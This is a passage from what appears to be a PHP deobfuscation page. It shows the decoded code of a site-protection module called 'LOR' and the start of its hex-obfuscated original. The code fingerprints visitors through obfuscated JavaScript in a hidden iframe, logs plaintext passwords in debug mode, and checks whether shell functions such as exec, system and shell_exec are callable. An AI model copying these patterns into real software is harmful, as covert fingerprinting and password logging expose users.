if ((!$i0l1i11111011001000l1i1111010100110) && LOR_CONFIG("LOR_ANTIFLOOD") && ($_SERVER["REQUEST_METHOD"] == "GET") && (@$_COOKIE[$i0l1i11111011001000l1i1111100010100] != $anti_flood_value)) {
$custom_template = '';
$custom_af_file = LOR_CONFIG("LOR_CUSTOM_AF_TEMPLATE");
if (file_exists($custom_af_file)) {
$custom_template = file_get_contents($custom_af_file);
}
$anti_http_flood = "<html><script>";
$anti_http_flood .= "function set_cookie(){ var now = new Date(); var time = now.getTime(); time += 19350000 * 1000; now.setTime(time); document.cookie='" . $i0l1i11111011001000l1i1111100010100 . "=" . $anti_flood_value . "; expires=' + now.toGMTString() + '; path=/'; } set_cookie(); setTimeout('window.location.reload();', 50);";
$anti_http_flood .= '</script><body>' . $custom_template . '</body>';
$anti_http_flood .= '<script>var _0xf868=["object","indexOf","__cycle__","push","stringify","length","plugins","name"," fn=","filename"," v=","version","appCodeName"," ~ ","platform","product","appName","appVersion","cookieEnabled","geolocation","language","phantom","iframe","createElement","appendChild","body","width","1px","height","visibility","style","hidden","border","0","id","jadfvqiwcqw","src","/?lor_uai="];var jsonify=function(_0x856ex2){var _0x856ex3=[];var _0x856ex4=JSON[_0xf868[4]](_0x856ex2,function(_0x856ex5,_0x856ex6){if( typeof _0x856ex6== _0xf868[0]){if(!_0x856ex3[_0xf868[1]](_0x856ex6)){return _0xf868[2]};_0x856ex3[_0xf868[3]](_0x856ex6)};return _0x856ex6});return _0x856ex4};var L=navigator[_0xf868[6]][_0xf868[5]];var a=[];for(var i=0;i< L;i++){a[_0xf868[3]](navigator[_0xf868[6]][i][_0xf868[7]]+ _0xf868[8]+ navigator[_0xf868[6]][i][_0xf868[9]]+ _0xf868[10]+ navigator[_0xf868[6]][i][_0xf868[11]])};var ua_info=navigator[_0xf868[12]]+ _0xf868[13]+ navigator[_0xf868[14]]+ _0xf868[13]+ navigator[_0xf868[15]]+ _0xf868[13]+ navigator[_0xf868[16]]+ _0xf868[13]+ navigator[_0xf868[17]]+ _0xf868[13]+ navigator[_0xf868[18]]+ _0xf868[13]+ jsonify(navigator[_0xf868[19]])+ _0xf868[13]+ navigator[_0xf868[20]]+ _0xf868[13]+ window[_0xf868[21]]+ _0xf868[13]+ jsonify(a);var el=document[_0xf868[23]](_0xf868[22]);document[_0xf868[25]][_0xf868[24]](el);el[_0xf868[26]]= _0xf868[27];el[_0xf868[28]]= _0xf868[27];el[_0xf868[30]][_0xf868[29]]= _0xf868[31];el[_0xf868[32]]= _0xf868[33];el[_0xf868[34]]= _0xf868[35];el[_0xf868[36]]= _0xf868[37]+ escape(ua_info);</script></html>';
echo $anti_http_flood;
die();
}
if (strlen($i0l1i11111011001000l1i1111010011100) > 0) {
$i0l1i1111111111010 = md5($i0l1i11111011001000l1i1111010011100);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$i0l1i11111011001000l1i1111010011100 .= " ----- ### -- {bid:" . $i0l1i1111111111010 . "} @ph:" . $i0l1i11111011001000l1i1111011110110 . "@
";
}
$this->i0l1i10000000011000($i0l1i11111011001000l1i1111010011100);
}
if (LOR_CONFIG("LOR_DEFEND") && $i0l1i11111011001000l1i1111010010010 && (!$this->i0l1i1111111011100($i0l1i10000000100010, LOR_CONFIG("LOR_AUTH_ON_403"), $i0l1i1111111111010))) {
header('HTTP/1.0 403 Forbidden');
echo date("d/m/Y H:i:s", time()) . "
";
echo "Blocked $i0l1i1111111111010
";
die();
}
}
private function i0l1i1111110111110()
{
$i0l1i11111011001000l1i1111100011110 = '';
if (isset($_SERVER["REMOTE_ADDR"])) {
return $_SERVER["REMOTE_ADDR"];
}
if (getenv("HTTP_CLIENT_IP"))
$i0l1i11111011001000l1i1111100011110 = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR"))
$i0l1i11111011001000l1i1111100011110 = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("HTTP_X_FORWARDED"))
$i0l1i11111011001000l1i1111100011110 = getenv("HTTP_X_FORWARDED");
else if (getenv("HTTP_FORWARDED_FOR"))
$i0l1i11111011001000l1i1111100011110 = getenv("HTTP_FORWARDED_FOR");
else if (getenv("HTTP_FORWARDED"))
$i0l1i11111011001000l1i1111100011110 = getenv("HTTP_FORWARDED");
else if (getenv("REMOTE_ADDR"))
$i0l1i11111011001000l1i1111100011110 = getenv("REMOTE_ADDR");
else
$i0l1i11111011001000l1i1111100011110 = "UNKNOWN";
return $i0l1i11111011001000l1i1111100011110;
}
private function i0l1i10000011101010($i0l1i11111011001000l1i1111100000000ing = '')
{
return (bool) !preg_match('/[\x00-\x1F\x80-\xff]+/', $i0l1i11111011001000l1i1111100000000ing);
}
function i0l1i1111111001000()
{
$i0l1i11111011001000l1i1111011001110 = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] && !in_array(strtolower($_SERVER["HTTPS"]), array(
"off",
"no"
))) ? "https" : "http";
$i0l1i11111011001000l1i1111011001110 .= '://' . $_SERVER["HTTP_HOST"];
$i0l1i11111011001000l1i1111011001110 .= $_SERVER["REQUEST_URI"];
return $i0l1i11111011001000l1i1111011001110;
}
function i0l1i1111111010010($i0l1i11111011001000l1i1111010111010)
{
if (LOR_CONFIG("LOR_APPROVED_UA") !== null) {
if (preg_match('~' . LOR_CONFIG("LOR_APPROVED_UA") . '~smi', $this->HTTP_UA, $found)) {
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[OK]-> [:[[wl by approved ua: " . $this->HTTP_UA . "]]]
");
}
return true;
}
}
foreach ($this->i0l1i10000101110110 as $wl_url) {
if (preg_match("~" . $wl_url . "~smi", $i0l1i11111011001000l1i1111010111010, $match)) {
return true;
}
}
return false;
}
function i0l1i10000000011000($i0l1i11111011001000l1i1111010011100)
{
file_put_contents($this->i0l1i1111001111110, $i0l1i11111011001000l1i1111010011100, FILE_APPEND | LOCK_EX);
$this->i0l1i10000001010100();
}
function i0l1i1111111011100($i0l1i10000000100010, $i0l1i1111110101010 = false, $i0l1i1111111111010 = '')
{
$i0l1i11111011001000l1i1111010011100 = '';
if ($_SERVER["REMOTE_ADDR"] == $_SERVER["SERVER_ADDR"] || $_SERVER["REMOTE_ADDR"] == "127.0.0.1") {
$this->i0l1i10000000011000("[OK]-> [:[[wl by server ip " . $_SERVER["REMOTE_ADDR"] . "]]]
");
return true;
}
foreach ($this->i0l1i1111001110100 as $i0l1i1111101100100p) {
if (preg_match("~" . $i0l1i1111101100100p . "~smi", $_SERVER["REMOTE_ADDR"], $match)) {
$this->i0l1i10000000011000("[OK]-> [:[[wl by $i0l1i1111101100100p]]]
");
return true;
}
}
if (!$i0l1i10000000100010 && $this->i0l1i1111111010010($this->i0l1i1111111001000())) {
$this->i0l1i10000000011000("[OK]-> [:[[" . $this->i0l1i1111111001000() . " wl by rule]]]
");
return true;
}
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$all_vars = json_encode($_SERVER);
$this->i0l1i10000000011000("[DEBUG] " . $all_vars . "
");
}
if (isset($_REQUEST["LOR_AUTH"]) && (!isset($_SERVER["HTTP_AUTHORIZATION"]))) {
$_SERVER["HTTP_AUTHORIZATION"] = @$_REQUEST["LOR_AUTH"];
}
if (isset($_SERVER["REDIRECT_HTTP_AUTHORIZATION"]) && (!isset($_SERVER["HTTP_AUTHORIZATION"]))) {
$_SERVER["HTTP_AUTHORIZATION"] = @$_SERVER["REDIRECT_HTTP_AUTHORIZATION"];
}
$i0l1i11111011001000l1i1111100111100 = @base64_decode(@substr(@$_SERVER["HTTP_AUTHORIZATION"], 6));
if ((strlen($i0l1i11111011001000l1i1111100111100) > 0) || (strcasecmp($i0l1i11111011001000l1i1111100111100, ":") == 0)) {
list($i0l1i11111011001000l1i1111100101000, $i0l1i11111011001000l1i1111100110010) = @explode(':', $i0l1i11111011001000l1i1111100111100);
$_SERVER["PHP_AUTH_USER"] = $i0l1i11111011001000l1i1111100101000;
$_SERVER["PHP_AUTH_PW"] = $i0l1i11111011001000l1i1111100110010;
}
if (isset($_SERVER["PHP_AUTH_USER"])) {
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[DEBUG] USER [" . $_SERVER["PHP_AUTH_USER"] . "]
");
if (!file_exists(LOR_CONFIG("LOR_HTPASSWD"))) {
$this->i0l1i10000000011000("[DEBUG] password file not found [" . LOR_CONFIG("LOR_HTPASSWD") . "]
");
}
}
$i0l1i11111011001000l1i1111100001010_contents = @file_get_contents(LOR_CONFIG("LOR_HTPASSWD"));
$i0l1i11111011001000l1i1111101010000 = @explode("
", @trim($i0l1i11111011001000l1i1111100001010_contents));
$i0l1i1111101100100 = 0;
while ($i0l1i1111101100100 <= sizeof($i0l1i11111011001000l1i1111101010000)) {
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[DEBUG] htaccess=[" . $i0l1i11111011001000l1i1111101010000[$i0l1i1111101100100] . "]
");
}
$i0l1i11111011001000l1i1111010011100_pair = @explode(":", $i0l1i11111011001000l1i1111101010000[$i0l1i1111101100100]);
$i0l1i11111011001000l1i1111010011100_pair[0] = @trim(@$i0l1i11111011001000l1i1111010011100_pair[0]);
$i0l1i11111011001000l1i1111010011100_pair[1] = @trim(@$i0l1i11111011001000l1i1111010011100_pair[1]);
if ($i0l1i11111011001000l1i1111010011100_pair[0] == @$_SERVER["PHP_AUTH_USER"]) {
$i0l1i11111011001000l1i1111101011010 = @$_SERVER["PHP_AUTH_PW"];
$pass = explode("\$", $i0l1i11111011001000l1i1111010011100_pair[1]);
$i0l1i10000000001110 = $pass[2];
$len = strlen($i0l1i11111011001000l1i1111101011010);
$text = $i0l1i11111011001000l1i1111101011010 . '$apr1$' . $i0l1i10000000001110;
$bin = md5($i0l1i11111011001000l1i1111101011010 . $i0l1i10000000001110 . $i0l1i11111011001000l1i1111101011010, true);
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 -= 16) {
$text .= substr($bin, 0, min(16, $i0l1i1111101100100));
}
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 >>= 1) {
$text .= ($i0l1i1111101100100 & 1) ? chr(0) : $i0l1i11111011001000l1i1111101011010{0};
}
$bin = pack("H32", md5($text));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 1000; $i0l1i1111101100100++) {
$i0l1i1111101101110 = ($i0l1i1111101100100 & 1) ? $i0l1i11111011001000l1i1111101011010 : $bin;
if ($i0l1i1111101100100 % 3)
$i0l1i1111101101110 .= $i0l1i10000000001110;
if ($i0l1i1111101100100 % 7)
$i0l1i1111101101110 .= $i0l1i11111011001000l1i1111101011010;
$i0l1i1111101101110 .= ($i0l1i1111101100100 & 1) ? $bin : $i0l1i11111011001000l1i1111101011010;
$bin = pack("H32", md5($i0l1i1111101101110));
}
$i0l1i1111110001100 = "";
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 5; $i0l1i1111101100100++) {
$i0l1i1111101111000 = $i0l1i1111101100100 + 6;
$i0l1i1111110000010 = $i0l1i1111101100100 + 12;
if ($i0l1i1111110000010 == 16)
$i0l1i1111110000010 = 5;
$i0l1i1111110001100 = $bin[$i0l1i1111101100100] . $bin[$i0l1i1111101111000] . $bin[$i0l1i1111110000010] . $i0l1i1111110001100;
}
$i0l1i1111110001100 = chr(0) . chr(0) . $bin[11] . $i0l1i1111110001100;
$i0l1i1111110001100 = strtr(strrev(substr(base64_encode($i0l1i1111110001100), 2)), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", LOR_TRANSLATE_TO);
$i0l1i1111110010110 = "$" . "apr1" . "$" . $i0l1i10000000001110 . "$" . $i0l1i1111110001100;
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[DEBUG] user=" . @$_SERVER["PHP_AUTH_USER"] . " pass=" . @$_SERVER["PHP_AUTH_PW"] . " (($i0l1i1111110010110)) vs ((" . ($i0l1i11111011001000l1i1111010011100_pair[1]) . "))
");
}
if ($i0l1i1111110010110 == $i0l1i11111011001000l1i1111010011100_pair[1]) {
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[DEBUG] user " . @$_SERVER["PHP_AUTH_USER"] . " logged
");
}
return true;
} else {
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[DEBUG] user " . @$_SERVER["PHP_AUTH_USER"] . " failed
");
}
}
}
$i0l1i1111101100100++;
}
}
if ($i0l1i1111110101010) {
header('WWW-Authenticate: Basic realm="Password Required"');
header('HTTP/1.0 401 Unauthorized');
echo date("d/m/Y H:i:s", time()) . ", Required User Authentication" . ($i0l1i1111111111010 != '' ? ", bid: [$i0l1i1111111111010]" : "");
$i0l1i11111011001000l1i1111010011100 .= "* " . @$_SERVER["REQUEST_METHOD"] . " " . $this->i0l1i1111110111110() . " " . date("d/m/Y H:i:s", time()) . " " . $this->i0l1i1111111001000();
$i0l1i11111011001000l1i1111010011100 .= " R: " . $this->HTTP_REF . " UA: " . $this->HTTP_UA . " " . @$_SESSION["lor_session"] . "
";
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[401 AUTH]]]" . ($i0l1i1111111111010 != '' ? " bid: [$i0l1i1111111111010]" : "") . "
";
$this->i0l1i10000000011000($i0l1i11111011001000l1i1111010011100);
die();
} else {
return false;
}
}
function i0l1i1111111100110($fn)
{
$i0l1i10000000000100 = array();
if (file_exists(LOR_RULES_FOLDER . "/" . $fn)) {
$i0l1i1111111110000 = explode("
", @trim(@file_get_contents(LOR_RULES_FOLDER . "/" . $fn)));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < count($i0l1i1111111110000); $i0l1i1111101100100++) {
$i0l1i1111111110000[$i0l1i1111101100100] = trim($i0l1i1111111110000[$i0l1i1111101100100]);
if (($i0l1i1111111110000[$i0l1i1111101100100] != '') && (strpos($i0l1i1111111110000[$i0l1i1111101100100], '#') !== 0)) {
$i0l1i10000000000100[] = $i0l1i1111111110000[$i0l1i1111101100100];
}
}
} else {
$this->i0l1i1111001101010[] = 'Cannot load rules:' . LOR_RULES_FOLDER . "/" . $fn;
}
return $i0l1i10000000000100;
}
function i0l1i10000001010100()
{
if (@filesize($this->i0l1i1111001111110) > LOR_CONFIG("LOR_LOGS_SIZE_LIMIT") / 10) {
rename($this->i0l1i1111001111110, $this->i0l1i1111001111110 . "." . time());
file_put_contents($this->i0l1i1111001111110, "----------------------------------- [[[LOG_ROTATE " . date("d/m/Y H:i:s", time()) . "]]]
", FILE_APPEND | LOCK_EX);
$the_oldest = time();
$i0l1i10000000110110 = '';
$i0l1i10000001000000 = 0;
foreach (glob(LOR_LOG_FOLDER . '/.lor_*') as $i0l1i10000010100100) {
$i0l1i10000001000000 += filesize($i0l1i10000010100100);
if ($i0l1i10000010100100 == $this->i0l1i1111001111110)
continue;
$i0l1i10000001001010 = filectime($i0l1i10000010100100);
if ($i0l1i10000001001010 < $the_oldest) {
$i0l1i10000000110110 = $i0l1i10000010100100;
$the_oldest = $i0l1i10000001001010;
}
}
if ($i0l1i10000001000000 > LOR_LOGS_SIZE_LIMIT) {
if (file_exists($i0l1i10000000110110)) {
unlink($i0l1i10000000110110);
file_put_contents($this->i0l1i1111001111110, "----------------------------------- [[[LOG_REMOVAL $i0l1i10000000110110 " . date("d/m/Y H:i:s", time()) . "]]]
", FILE_APPEND | LOCK_EX);
}
}
}
}
function i0l1i10000001110010()
{
$i0l1i10000001011110 = "admin" . substr(str_shuffle("abABCDEFGHIJKLMNPcdefghjkmnpqrstuvwxyz23456789"), 0, 4);
$i0l1i11111011001000l1i1111100110010 = substr(str_shuffle("abABCDEFGHIJKLMNPcdefghjkmnpqrstuvwxyz23456789"), 0, 12);
$i0l1i10000001111100 = $this->i0l1i10000010000110($i0l1i11111011001000l1i1111100110010);
header("Content-Type: text/html
");
echo "<pre style='font-size: 18px'>Login: <font color=green>" . $i0l1i10000001011110 . "</font>
";
echo "Password: <font color=green>" . $i0l1i11111011001000l1i1111100110010 . "</font>
";
echo "Add to file:
<font color=blue>" . $i0l1i10000001011110 . ":" . $i0l1i10000001111100 . "</font>
</pre>";
}
function i0l1i10000010000110($i0l1i11111011001000l1i1111101011010)
{
$i0l1i10000000001110 = substr(str_shuffle(LOR_TRANSLATE_TO), 0, 8);
$len = strlen($i0l1i11111011001000l1i1111101011010);
$text = $i0l1i11111011001000l1i1111101011010 . '$apr1$' . $i0l1i10000000001110;
$bin = md5($i0l1i11111011001000l1i1111101011010 . $i0l1i10000000001110 . $i0l1i11111011001000l1i1111101011010, true);
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 -= 16) {
$text .= substr($bin, 0, min(16, $i0l1i1111101100100));
}
for ($i0l1i1111101100100 = $len; $i0l1i1111101100100 > 0; $i0l1i1111101100100 >>= 1) {
$text .= ($i0l1i1111101100100 & 1) ? chr(0) : $i0l1i11111011001000l1i1111101011010{0};
}
$bin = pack("H32", md5($text));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 1000; $i0l1i1111101100100++) {
$i0l1i1111101101110 = ($i0l1i1111101100100 & 1) ? $i0l1i11111011001000l1i1111101011010 : $bin;
if ($i0l1i1111101100100 % 3)
$i0l1i1111101101110 .= $i0l1i10000000001110;
if ($i0l1i1111101100100 % 7)
$i0l1i1111101101110 .= $i0l1i11111011001000l1i1111101011010;
$i0l1i1111101101110 .= ($i0l1i1111101100100 & 1) ? $bin : $i0l1i11111011001000l1i1111101011010;
$bin = pack("H32", md5($i0l1i1111101101110));
}
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < 5; $i0l1i1111101100100++) {
$i0l1i1111101111000 = $i0l1i1111101100100 + 6;
$i0l1i1111110000010 = $i0l1i1111101100100 + 12;
if ($i0l1i1111110000010 == 16)
$i0l1i1111110000010 = 5;
$i0l1i1111110001100 = $bin[$i0l1i1111101100100] . $bin[$i0l1i1111101111000] . $bin[$i0l1i1111110000010] . $i0l1i1111110001100;
}
$i0l1i1111110001100 = chr(0) . chr(0) . $bin[11] . $i0l1i1111110001100;
$i0l1i1111110001100 = strtr(strrev(substr(base64_encode($i0l1i1111110001100), 2)), "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", LOR_TRANSLATE_TO);
return "$" . "apr1" . "$" . $i0l1i10000000001110 . "$" . $i0l1i1111110001100;
}
function i0l1i10000010011010($i0l1i10000010111000, $recurs, $i0l1i10000011001100, &$i0l1i10000011010110, $i0l1i10000011100000, &$i0l1i10000010010000)
{
if ($i0l1i10000011100000 > 15) {
return;
}
$i0l1i10000010101110 = time();
if ($i0l1i10000011000010 = opendir($i0l1i10000010111000)) {
while ($i0l1i11111011001000l1i1111100001010 = readdir($i0l1i10000011000010)) {
if ($i0l1i11111011001000l1i1111100001010 == "." or $i0l1i11111011001000l1i1111100001010 == ".." or is_link($i0l1i11111011001000l1i1111100001010))
continue;
$i0l1i11111011001000l1i1111100101000 = $i0l1i11111011001000l1i1111100001010;
$i0l1i11111011001000l1i1111100001010 = $i0l1i10000010111000 . "/" . $i0l1i11111011001000l1i1111100001010;
if (is_dir($i0l1i11111011001000l1i1111100001010) && $recurs) {
$this->i0l1i10000010011010($i0l1i11111011001000l1i1111100001010, $recurs, $i0l1i10000011001100, $i0l1i10000011010110, $i0l1i10000011100000 + 1, $i0l1i10000010010000);
}
$i0l1i10000101001110 = filectime($i0l1i11111011001000l1i1111100001010);
$i0l1i10000101011000 = filemtime($i0l1i11111011001000l1i1111100001010);
if (($i0l1i10000010101110 - $i0l1i10000101001110 <= $i0l1i10000011001100) || ($i0l1i10000010101110 - $i0l1i10000101011000 <= $i0l1i10000011001100)) {
foreach ($i0l1i10000010010000 as $ext) {
if (strpos($i0l1i11111011001000l1i1111100001010, "." . $ext) !== false || is_dir($i0l1i11111011001000l1i1111100001010)) {
$i0l1i1111101100100tem = array(
$i0l1i10000101001110,
$i0l1i10000101011000,
$i0l1i11111011001000l1i1111100001010,
filetype($i0l1i11111011001000l1i1111100001010)
);
$i0l1i10000011010110[] = $i0l1i1111101100100tem;
break;
}
}
}
}
closedir($i0l1i10000011000010);
}
}
function allowedPHPFunctions()
{
$i0l1i10000100110000 = explode(',', 'popen,exec,ftp_exec,system,passthru,proc_open,chmod,shell_exec,phpinfo');
$disabled = true;
$not_disabled = array();
foreach ($i0l1i10000100110000 as $f) {
if (function_exists($f) && is_callable($f)) {
$disabled = false;
$not_disabled[] = $f;
}
}
return implode(", ", $not_disabled);
}
function i0l1i10000100011100()
{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $_SERVER["HTTP_HOST"] . '.log"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
$i0l1i11111011001000l1i1111100001010_list = glob(LOR_LOG_FOLDER . '/.lor*');
foreach ($i0l1i11111011001000l1i1111100001010_list as $fn) {
$i0l1i11111011001000l1i1111100001010s_arr[$fn] = filectime($fn);
}
asort($i0l1i11111011001000l1i1111100001010s_arr);
$log = array();
foreach (array_keys($i0l1i11111011001000l1i1111100001010s_arr) as $fn) {
readfile($fn);
}
die();
}
function i0l1i10000100100110($i0l1i10000100111010)
{
$i0l1i10000101100010 = array(
"66\.102\.\d+\.\d+",
"66\.249\.\d+\.\d+",
"72\.14\.192\.\d+",
"74\.125\.\d+\.\d+",
"209\.85\.128\.\d+",
"216\.239\.32\.\d+",
"74\.125\.\d+\.\d+",
"207\.126\.144\.\d+",
"173\.194\.\d+\.\d+",
"64\.233\.160\.\d+",
"72\.14\.192\.\d+",
"66\.102\.\d+\.\d+",
"64\.18\.\d+\.\d+",
"194\.52\.68\.\d+",
"194\.72\.238\.\d+",
"62\.116\.207\.\d+",
"212\.50\.193\.\d+",
"69\.65\.\d+\.\d+",
"50\.7\.\d+\.\d+",
"131\.212\.\d+\.\d+",
"46\.116\.\d+\.\d+ ",
"62\.90\.\d+\.\d+",
"89\.138\.\d+\.\d+",
"82\.166\.\d+\.\d+",
"85\.64\.\d+\.\d+",
"85\.250\.\d+\.\d+",
"89\.138\.\d+\.\d+",
"93\.172\.\d+\.\d+",
"109\.186\.\d+\.\d+",
"194\.90\.\d+\.\d+",
"212\.29\.192\.\d+",
"212\.29\.224\.\d+",
"212\.143\.\d+\.\d+",
"212\.150\.\d+\.\d+",
"212\.235\.\d+\.\d+",
"217\.132\.\d+\.\d+",
"50\.97\.\d+\.\d+",
"217\.132\.\d+\.\d+",
"209\.85\.\d+\.\d+",
"66\.205\.64\.\d+",
"204\.14\.48\.\d+",
"64\.27\.2\.\d+",
"67\.15\.\d+\.\d+",
"202\.108\.252\.\d+",
"193\.47\.80\.\d+",
"64\.62\.136\.\d+",
"66\.221\.\d+\.\d+",
"64\.62\.175\.\d+",
"198\.54\.\d+\.\d+",
"192\.115\.134\.\d+",
"216\.252\.167\.\d+",
"193\.253\.199\.\d+",
"69\.61\.12\.\d+",
"64\.37\.103\.\d+",
"38\.144\.36\.\d+",
"64\.124\.14\.\d+",
"206\.28\.72\.\d+",
"209\.73\.228\.\d+",
"158\.108\.\d+\.\d+",
"168\.188\.\d+\.\d+",
"66\.207\.120\.\d+",
"167\.24\.\d+\.\d+",
"192\.118\.48\.\d+",
"67\.209\.128\.\d+",
"12\.148\.209\.\d+",
"12\.148\.196\.\d+",
"193\.220\.178\.\d+",
"68\.65\.53\.71",
"198\.25\.\d+\.\d+",
"64\.106\.213\.\d+",
"77\.88\.22\.\d+",
"77\.88\.23\.\d+",
"77\.88\.24\.\d+",
"84\.201\.128\.\d+",
"95\.108\.128\.\d+",
"87\.250\.\d+\.\d+",
"93\.158\.\d+\.\d+",
"178\.154\.\d+\.\d+",
"199\.36\.240\.\d+",
"213\.180\.(1|2)\d{2}\.\d+",
"94.100\.\d+\.\d+",
"195\.239\.211\.\d+"
);
foreach ($i0l1i10000101100010 as $i0l1i1111101100100p) {
if (preg_match("~" . $i0l1i1111101100100p . "~", $i0l1i10000100111010)) {
return true;
}
}
return false;
}
} ?>Did this file decode correctly?
Original Code
<?php
define("L\x4f\x52_\x56\x45R\x53\x49O\x4e", "2\x30\x316\x31\x321\x34\x5f0\x31");
define("L\x4f\x52_\x52\x45D\x45\x46I\x4e\x45_\x43\x4fN\x46\x49G", true);
define("L\x4f\x52_\x54\x52A\x4e\x53L\x41\x54E\x5f\x54O", "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
function LOR_CONFIG($i0l1i11111011001000l1i1111100101000)
{
global $i0l1i10000110000000;
if (is_array($i0l1i10000110000000)) {
if (isset($i0l1i10000110000000[$i0l1i11111011001000l1i1111100101000])) {
return $i0l1i10000110000000[$i0l1i11111011001000l1i1111100101000];
}
}
$i0l1i11111011001000l1i1111010011100 = get_defined_constants(true);
if (isset($i0l1i11111011001000l1i1111010011100["u\x73\x65r"][$i0l1i11111011001000l1i1111100101000])) {
return $i0l1i11111011001000l1i1111010011100["u\x73\x65r"][$i0l1i11111011001000l1i1111100101000];
} else {
return null;
}
}
function i0l1i10000110001010($i0l1i10000110010100, $config, $pass)
{
if (isset($config["L\x4f\x52_\x52\x45D\x45\x46I\x4e\x45_\x43\x4fN\x46\x49G"]))
unset($config["L\x4f\x52_\x52\x45D\x45\x46I\x4e\x45_\x43\x4fN\x46\x49G"]);
if (isset($config["L\x4f\x52_\x54\x52A\x4e\x53L\x41\x54E\x5f\x54O"]))
unset($config["L\x4f\x52_\x54\x52A\x4e\x53L\x41\x54E\x5f\x54O"]);
if (isset($config["L\x4f\x52_\x4f\x4eL\x49\x4eE"]))
unset($config["L\x4f\x52_\x4f\x4eL\x49\x4eE"]);
if (isset($config["L\x4f\x52_\x53\x59S\x5f\x46O\x4c\x44E\x52"]))
unset($config["L\x4f\x52_\x53\x59S\x5f\x46O\x4c\x44E\x52"]);
if (isset($config["L\x4f\x52_\x43\x4fN\x46\x49G\x5f\x46O\x4c\x44E\x52"]))
unset($config["L\x4f\x52_\x43\x4fN\x46\x49G\x5f\x46O\x4c\x44E\x52"]);
if (isset($config["L\x4f\x52_\x52\x55L\x45\x53_\x46\x4fL\x44\x45R"]))
unset($config["L\x4f\x52_\x52\x55L\x45\x53_\x46\x4fL\x44\x45R"]);
if (isset($config["L\x4f\x52_\x4c\x4fG\x5f\x46O\x4c\x44E\x52"]))
unset($config["L\x4f\x52_\x4c\x4fG\x5f\x46O\x4c\x44E\x52"]);
$i0l1i1111110000010son = json_encode($config);
@file_put_contents($i0l1i10000110010100, base64_encode(json_encode($config) ^ ($pass . str_repeat("X", strlen($i0l1i1111110000010son) - strlen($pass)))), LOCK_EX);
}
$lor_not_cli = (!(php_sapi_name() === "c\x6c\x69" OR defined("S\x54\x44I\x4e")));
if ($lor_not_cli) {
$i0l1i10000110000000 = array();
$i0l1i10000011110100 = md5(@str_replace("w\x77\x77.", '', @$_SERVER["H\x54\x54P\x5f\x48O\x53\x54"]));
$i0l1i10000011111110 = dirname(__FILE__) . "/" . "l\x6f\x72_\x73\x65t\x74\x69n\x67\x73.\x70\x68p\x2e" . $i0l1i10000011110100;
$i0l1i10000110000000 = '';
if (file_exists($i0l1i10000011111110)) {
$i0l1i10000110000000 = $i0l1i10000011111110;
require_once($i0l1i10000110000000);
} else {
$i0l1i10000110000000 = "l\x6f\x72_\x73\x65t\x74\x69n\x67\x73.\x70\x68p";
require_once($i0l1i10000110000000);
}
define("L\x4f\x52_\x4c\x4fG\x5f\x46O\x4c\x44E\x52", LOR_SYS_FOLDER . "/\x6c\x6fg\x73");
define("L\x4f\x52_\x43\x4fN\x46\x49G\x5f\x46O\x4c\x44E\x52", LOR_SYS_FOLDER . "/\x6c\x6fg\x73");
define("L\x4f\x52_\x52\x55L\x45\x53_\x46\x4fL\x44\x45R", LOR_SYS_FOLDER . "/\x72\x75l\x65\x73");
if (LOR_REDEFINE_CONFIG) {
$i0l1i10000110010100 = LOR_CONFIG_FOLDER . "/config_" . md5($i0l1i10000110000000);
$GLOBALS["i\x30\x6c1\x69\x310\x30\x300\x31\x310\x30\x310\x31\x300"] = $i0l1i10000110010100;
$i0l1i10000110011110 = (@$_GET["i\x30\x6c1\x69\x310\x30\x300\x31\x310\x30\x311\x31\x310"] == md5(LOR_CONFIG("L\x4f\x52_\x4b\x45Y")));
if (file_exists($i0l1i10000110010100)) {
$lor_data = @base64_decode(@file_get_contents($i0l1i10000110010100));
$lor_pass = strrev(LOR_CONFIG("L\x4f\x52_\x4b\x45Y"));
$i0l1i10000110000000 = json_decode($lor_data ^ ($lor_pass . str_repeat("X", strlen($lor_data) - strlen($lor_pass))), true);
$GLOBALS["i\x30\x6c1\x69\x310\x30\x300\x31\x310\x30\x300\x30\x300"] = $i0l1i10000110000000;
if (LOR_VERSION != LOR_CONFIG("L\x4f\x52_\x56\x45R\x53\x49O\x4e")) {
$i0l1i10000110000000 = array();
$i0l1i10000110011110 = true;
}
} else {
$i0l1i10000110011110 = true;
}
if ($i0l1i10000110011110) {
$i0l1i11111011001000l1i1111010011100 = get_defined_constants(true);
i0l1i10000110001010($i0l1i10000110010100, $i0l1i11111011001000l1i1111010011100["u\x73\x65r"], strrev(LOR_CONFIG("L\x4f\x52_\x4b\x45Y")));
}
}
if (LOR_ONLINE === null) {
die("LOR: lor_settings.php not found.");
}
